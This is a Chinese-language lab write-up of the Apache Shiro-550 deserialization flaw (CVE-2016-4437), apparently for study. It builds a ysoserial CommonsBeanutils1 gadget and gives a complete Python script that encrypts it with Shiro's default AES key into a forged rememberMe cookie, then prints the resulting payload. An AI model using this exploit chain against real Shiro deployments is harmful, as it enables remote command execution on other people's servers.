Apache Shiro
是一个强大且易用的Java
安全框架,执行身份验证、授权、密码和会话管理个漏洞被称为 Shiro550
是因为在Apache Shiro的GitHub
问题跟踪器中,该漏洞最初被标记为第550
个问题,721
漏洞名称也是由此而来
Shiro-550 CVE-2016-4437
Apache Shiro<= 1.2.4
框架提供了记住我的功能RememberMe
省去用户短时间内再次登录输入账号密码;
登录成功并选择RememberMe
功能 ;Shior
会将cookie
值序列化字节 AES
加密并base64
编码存储在Cookie
的remeberme
字段
cookie生成流程:
登录后用户信息----->序列化转化为字节---->AES对称加密---->base64编码---->存储remeberme字段cookie
勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie
值进行身份验证,无需登录即可访问, 当客户端再次请求服务端时,都会带上这个服务端第一次返回设置的Set-Cookie
里面的rememberMe
的密文,让服务端进行身份验证
各种登录情况
漏洞原理
攻击者前期可以使用Shiro
的AES
默认密钥或硬编码在源码中的Key
[//]: # (只要rememberMe的AES加密密钥泄漏,无论Shiro什么版本都会导致反序列化漏洞,由于AES加密是对称式加密(key既能加密数据也能解密数据))伪造用户的Cookie
,检索cookie
中remeberme
字段未进行过滤操作,服务端反序列化Cookie
时触发漏洞,从而执行命令
//返回包生成cookie中字段remeberme过程
登录后用户信息----->序列化转化为字节---->AES对称加密---->base64编码---->存储remeberme字段cookie
// 服务端接收cookie进行经过AES解密Base64解码最后反序列
恶意Cookie的rememberMe---->AES解密--->Base64解码---->反序列化---->执行恶意Cookie携带的命令
Docker开启环境
docker-compose up -d // 启动容器服务
docker-compose ps // 查看端口6379
GitHUb
下载**ysosera
**一个常用的Java
反序列化利用工具,用于生成各种常见Java库的反序列化payload
。这些payload
可以被用于利用反序列化漏洞,执行恶意代码或实现攻击,下载后利用此工具选择生成针对CommonsBeanutils1
库的反序列化payload
,也称为gadget
,工具和加密Py
需要放在 同一目录下,确保生成的ser
文件和脚本在同级
// touch /tmp/succ123 命令含义是在/tmp目录下创建一个名为"saber"的空文件
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/saber" > poc.ser
**注意: **
ysoserial脚本其实是在利用构造链进行反序列化对应的命令,所以我们要找到链子
// 密匙AES加密 Base64编码后生成的rememberMe,将上方的命令进序列化加密
import sys
import uuid
import base64
from Crypto.Cipher import AES
def encode_rememberme():
f = open('poc.ser','rb') // rb 表示以二进制只读模式打开文件,可以读取二进制数据而不会进行字符编码转换
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme()
print("rememberMe={0}".format(payload.decode()))
python shiro.py
rememberMe=8ANUo99cQgeGdjpU6YttWIYTdhAD9evj5vLGnzxbYU4dEasCg7Meb7xjRJZ/1WhXE45rheEywUAUCVVuYFzjCPDItyuRgdeVy1s3iwR01Hk/Exm/33xlXQFMpU4IbAkOdRafIz0zxzJ+OzMB6anQ0DCg8+po5wSRDntEZxwOEM+Fo7WHDz61aMJOhvOV7SAGgR1/ZvYI7IoNbvqKxv8ilqsQxj3NRH6RNWNNdMXpTNS565M1pFJh50qPozQr4i+XX1AhZnqw5DgjWW0ZKCjBFmPgg3KfELf29/mMSC18pDy25OVINP/G23M+nLyicTUzV1nhbkyfqMcVwrpeyUgukj4KiDijpj8i58Hv1D8zGL7IgFW44OhpmEb79ex7QYUXPPy8iNYBrLrp4sa35c4Ct+UBC+tvLK+wzNaRwe0RTG2PCCjl7dUMBvy8I27